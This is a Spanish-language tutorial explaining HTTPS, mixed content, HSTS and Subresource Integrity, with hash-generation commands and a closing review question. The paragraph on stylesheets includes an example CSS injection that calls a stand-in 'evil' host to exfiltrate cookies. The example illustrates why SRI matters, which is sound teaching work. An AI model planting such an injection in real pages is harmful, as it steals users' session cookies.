HTTPS e integridad de subrecursos

HTTPS cifra los datos en tránsito y autentica el servidor. Sin HTTPS, los atacantes de la misma red (Wi-Fi de una cafetería, ISP, actores estatales) pueden leer cada byte e inyectar contenido malicioso en las respuestas. Los navegadores modernos marcan las páginas HTTP como "Not Secure" y muchas API (cámara, geolocalización, service workers) se niegan a funcionar mediante HTTP.

Cargar recursos HTTP desde una página HTTPS es contenido mixto. El navegador bloquea por completo el contenido mixto activo (scripts, iframes, hojas de estilo) y muestra advertencias sobre el contenido pasivo (imágenes). Cargue siempre todos los recursos mediante HTTPS; use URL relativas al protocolo (//cdn.example.com) o https:// absolutas.

La cabecera de respuesta Strict-Transport-Security, correspondiente a HTTP Strict Transport Security, indica a los navegadores que rechacen futuras conexiones HTTP con su dominio. Una vez almacenado HSTS en la caché, un atacante no puede degradar la conexión de un usuario a HTTP, ni siquiera desde una posición de intermediario.

Cargar scripts desde CDNs de terceros resulta práctico, pero es arriesgado: si el CDN se ve comprometido, un atacante puede sustituir el script por malware. Subresource Integrity (SRI) hace que el navegador verifique el hash criptográfico del archivo antes de ejecutarlo y se niegue a ejecutarlo si el hash no coincide.

Añada un hash SHA-256/384/512 codificado en base64 a la etiqueta script: <script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>. El navegador calcula el hash del archivo descargado y se niega a ejecutarlo si no coincide.

Genere el hash con openssl: openssl dgst -sha384 -binary file.js | openssl base64 -A. También puede usar un plugin de la herramienta de compilación que genere automáticamente el atributo integrity. La mayoría de los CDN (jsdelivr, unpkg) muestran la etiqueta SRI en el fragmento listo para copiar y pegar.

SRI requiere que la respuesta de origen cruzado permita comprobar la integridad mediante CORS. Añada crossorigin="anonymous" a la etiqueta y asegúrese de que el CDN envíe Access-Control-Allow-Origin. Sin esto, el navegador se niega a verificar el recurso y este no se carga.

El atributo integrity puede contener varios hashes separados por espacios. Resulta útil durante una transición de versión: incluya los hashes de las versiones antigua y nueva, y el navegador aceptará la que sirva el CDN. Evite incluir más de un par de hashes para mantener legible el atributo.

SRI también protege <link rel="stylesheet">. Un archivo CSS comprometido es menos peligroso de forma directa que un script comprometido, pero un background: url("//evil/log?cookie=...") inyectado aún puede exfiltrar datos. Aplique SRI a todos los recursos externos siempre que sea posible.

SRI mitiga el compromiso de un CDN, pero no resuelve todos los problemas: un cambio de hash en el CDN deja de funcionar su página hasta que actualice el atributo integrity. Para las bibliotecas críticas, aloje usted mismo el archivo que haya revisado; así elimina de una vez la necesidad de fijar SRI y el riesgo de la cadena de suministro.

SRI añade un cálculo de hash por recurso, insignificante en hardware moderno: unos microsegundos por kilobyte. La protección que proporciona contra ataques a la cadena de suministro supera con creces su coste. No existe ninguna razón de rendimiento para omitir SRI al cargar recursos desde un CDN.

SRI verifica bytes específicos; no protege contra un CDN que sirva un archivo diferente a algunos usuarios (ataques dirigidos selectivamente). Para obtener la máxima garantía, combine SRI con HTTPS, HSTS, CSP y el alojamiento local de los recursos más críticos.

¿Contra qué protege el atributo integrity de una etiqueta script?

HTTPS cifra y autentica, HSTS evita los ataques de degradación y SRI verifica que los archivos de terceros no hayan sido manipulados. Añada hashes de integridad (con crossorigin="anonymous") a todos los scripts y hojas de estilo externos de un CDN que no controle. Para los recursos más críticos, alójelos usted mismo; así elimina por completo el riesgo de la cadena de suministro.